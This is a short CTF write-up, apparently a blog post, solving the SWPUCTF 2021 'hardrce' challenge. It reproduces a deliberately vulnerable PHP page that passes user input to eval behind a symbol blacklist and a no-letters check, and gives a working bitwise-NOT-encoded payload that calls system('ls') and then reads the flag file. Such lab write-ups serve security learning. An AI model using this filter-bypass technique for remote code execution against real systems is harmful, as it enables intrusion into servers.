[SWPUCTF 2021 新生赛]hardrce

拿到源码

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)//每次循环把blacklist里的值给blackitem
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {//内容不能有blacklist里的内容
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{//匹配所有的大小写字母包括换行符
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

也就是说不能使用字母且不能使用黑名单里的字符

无字母rce有三种办法:

  1. 取反
  2. 自增
  3. 异或

在这里用取反比较好

先对一个字符串取反,然后再取反就可以得到原来的字符串

对system('ls');取反

<?php
echo urlencode(~"system")."\n";
echo urlencode(~"ls")."\n";

得到

%8C%86%8C%8B%9A%92
%93%8C

payload:

?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C);

把ls改成tac /f*

image-20231120070835360

最后也是成功拿下

posted @ 2023-11-20 07:11  redfish999  阅读(122)  评论(0编辑  收藏  举报